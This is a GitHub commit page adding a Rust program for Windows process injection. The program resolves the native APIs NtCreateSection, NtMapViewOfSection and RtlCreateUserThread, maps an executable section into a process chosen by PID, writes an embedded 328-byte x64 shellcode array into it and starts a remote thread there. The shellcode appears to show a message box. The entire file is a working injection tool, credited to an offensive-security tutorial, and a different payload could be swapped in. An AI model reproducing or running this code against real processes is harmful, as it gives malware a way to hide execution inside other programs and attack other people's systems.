Skip to content

Commit 75d4424

Browse files
committed
Code injection using Native APIs
This code leverages Native APIs using NtCreateSection, NtMapViewOfSection and RtlCreateUserThread.
1 parent 7bd0c57 commit 75d4424

File tree

1 file changed

+235
-0
lines changed

1 file changed

+235
-0
lines changed

NtApi/NtMapViewOfSection.rs

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
/*
2+
Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread.
3+
Source:
4+
https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection
5+
6+
By @5mukx
7+
*/
8+
use std::ffi::c_void;
9+
use std::ptr::null_mut;
10+
use std::io::Error;
11+
use std::process::exit;
12+
use winapi::shared::basetsd::SIZE_T;
13+
use winapi::um::processthreadsapi::{OpenProcess, GetCurrentProcess};
14+
use winapi::um::handleapi::CloseHandle;
15+
use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress};
16+
use winapi::um::winnt::{HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, SEC_COMMIT};
17+
use winapi::shared::minwindef::{ULONG, DWORD};
18+
use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS};
19+
20+
#[repr(C)]
21+
#[allow(non_snake_case)]
22+
struct UNICODESTRING {
23+
Length: u16,
24+
MaximumLength: u16,
25+
Buffer: *mut u16,
26+
}
27+
28+
#[repr(C)]
29+
#[allow(non_snake_case)]
30+
struct OBJECTATTRIBUTES {
31+
Length: ULONG,
32+
RootDirectory: HANDLE,
33+
ObjectName: *mut UNICODESTRING,
34+
Attributes: ULONG,
35+
SecurityDescriptor: *mut c_void,
36+
SecurityQualityOfService: *mut c_void,
37+
}
38+
39+
type MyNtCreateSection = unsafe extern "system" fn(
40+
section_handle: *mut HANDLE,
41+
desired_access: ULONG,
42+
object_attributes: *mut OBJECTATTRIBUTES/*OBJECT_ATTRIBUTES*/,
43+
maximum_size: *mut LARGE_INTEGER,
44+
page_attributes: ULONG,
45+
section_attributes: ULONG,
46+
file_handle: HANDLE,
47+
) -> NTSTATUS;
48+
49+
type MyNtMapViewOfSection = unsafe extern "system" fn(
50+
section_handle: HANDLE,
51+
process_handle: HANDLE,
52+
base_address: *mut *mut c_void,
53+
zero_bits: usize,
54+
commit_size: SIZE_T,
55+
section_offset: *mut LARGE_INTEGER,
56+
view_size: *mut SIZE_T,
57+
inherit_disposition: DWORD,
58+
allocation_type: ULONG,
59+
win32_protect: ULONG,
60+
) -> NTSTATUS;
61+
62+
type MyRtlCreateUserThread = unsafe extern "system" fn(
63+
process_handle: HANDLE,
64+
security_descriptor: *mut c_void,
65+
create_suspended: bool,
66+
stack_zero_bits: ULONG,
67+
stack_reserved: *mut ULONG,
68+
stack_commit: *mut ULONG,
69+
start_address: *mut c_void,
70+
start_parameter: *mut c_void,
71+
thread_handle: *mut HANDLE,
72+
client_id: *mut CLIENTID,
73+
) -> NTSTATUS;
74+
75+
76+
#[repr(C)]
77+
#[allow(non_snake_case)]
78+
struct CLIENTID {
79+
UniqueProcess: *mut c_void,
80+
UniqueThread: *mut c_void,
81+
}
82+
83+
84+
fn main(){
85+
let args: Vec<String> = std::env::args().collect();
86+
87+
if args.len() != 2{
88+
println!("Usage: process.exe <PID>");
89+
exit(1);
90+
}
91+
92+
let target_pid = args[1].parse::<u32>().expect("Enter Valid PID");
93+
94+
let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
95+
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
96+
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
97+
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
98+
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
99+
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
100+
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
101+
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
102+
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
103+
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
104+
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
105+
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
106+
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
107+
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
108+
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
109+
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
110+
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
111+
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
112+
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
113+
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
114+
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
115+
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
116+
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
117+
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
118+
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
119+
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
120+
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
121+
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
122+
];
123+
124+
125+
126+
unsafe{
127+
let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8);
128+
if h_ntdll.is_null() {
129+
eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error());
130+
exit(1);
131+
}
132+
133+
let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtCreateSection\0".as_ptr() as *const i8));
134+
let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress(h_ntdll, b"NtMapViewOfSection\0".as_ptr() as *const i8));
135+
let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress(h_ntdll, b"RtlCreateUserThread\0".as_ptr() as *const i8));
136+
137+
// section creation setup
138+
let mut section_handle: HANDLE = null_mut();
139+
140+
let mut section_size: LARGE_INTEGER = std::mem::zeroed();
141+
*section_size.QuadPart_mut() = 4096 as i64;
142+
143+
let desired_access = winapi::um::winnt::SECTION_MAP_READ | winapi::um::winnt::SECTION_MAP_WRITE | winapi::um::winnt::SECTION_MAP_EXECUTE;
144+
145+
let status = nt_create_section(
146+
&mut section_handle,
147+
desired_access,
148+
null_mut(),
149+
&section_size as *const _ as *mut LARGE_INTEGER,
150+
PAGE_EXECUTE_READWRITE,
151+
SEC_COMMIT,
152+
null_mut(),
153+
);
154+
155+
if status < 0{
156+
eprintln!("[-] NtCreateSection failed with status: {:X}", status);
157+
exit(1);
158+
}
159+
160+
let mut local_section_address: *mut c_void = null_mut();
161+
let mut view_size = 4096;
162+
163+
let status = nt_map_view_of_section(
164+
section_handle,
165+
GetCurrentProcess(),
166+
&mut local_section_address,
167+
0,
168+
0,
169+
null_mut(),
170+
&mut view_size,
171+
2,
172+
0,
173+
PAGE_READWRITE,
174+
);
175+
176+
if status < 0 {
177+
eprintln!("NtMapViewOfSection (local) failed with status: {:X}", status);
178+
exit(1);
179+
}
180+
181+
// create a view of the section in the target process
182+
let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
183+
if target_handle.is_null() {
184+
eprintln!("OpenProcess failed: {:?}", Error::last_os_error());
185+
exit(1);
186+
}
187+
188+
let mut remote_section_address: *mut c_void = null_mut();
189+
let status = nt_map_view_of_section(
190+
section_handle,
191+
target_handle,
192+
&mut remote_section_address,
193+
0,
194+
0,
195+
null_mut(),
196+
&mut view_size,
197+
2,
198+
0,
199+
PAGE_EXECUTE_READ,
200+
);
201+
if status < 0 {
202+
eprintln!("NtMapViewOfSection (remote) failed with status: {:X}", status);
203+
CloseHandle(target_handle);
204+
exit(1);
205+
}
206+
207+
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), local_section_address as *mut u8, shellcode.len());
208+
209+
let mut target_thread_handle: HANDLE = null_mut();
210+
let status = rtl_create_user_thread(
211+
target_handle,
212+
null_mut(),
213+
false,
214+
0,
215+
null_mut(),
216+
null_mut(),
217+
remote_section_address,
218+
null_mut(),
219+
&mut target_thread_handle,
220+
null_mut(),
221+
);
222+
if status < 0 {
223+
eprintln!("RtlCreateUserThread failed with status: {:X}", status);
224+
}
225+
226+
CloseHandle(target_handle);
227+
if !target_thread_handle.is_null() {
228+
CloseHandle(target_thread_handle);
229+
}
230+
}
231+
}
232+
233+
234+
235+

0 commit comments

Comments
 (0)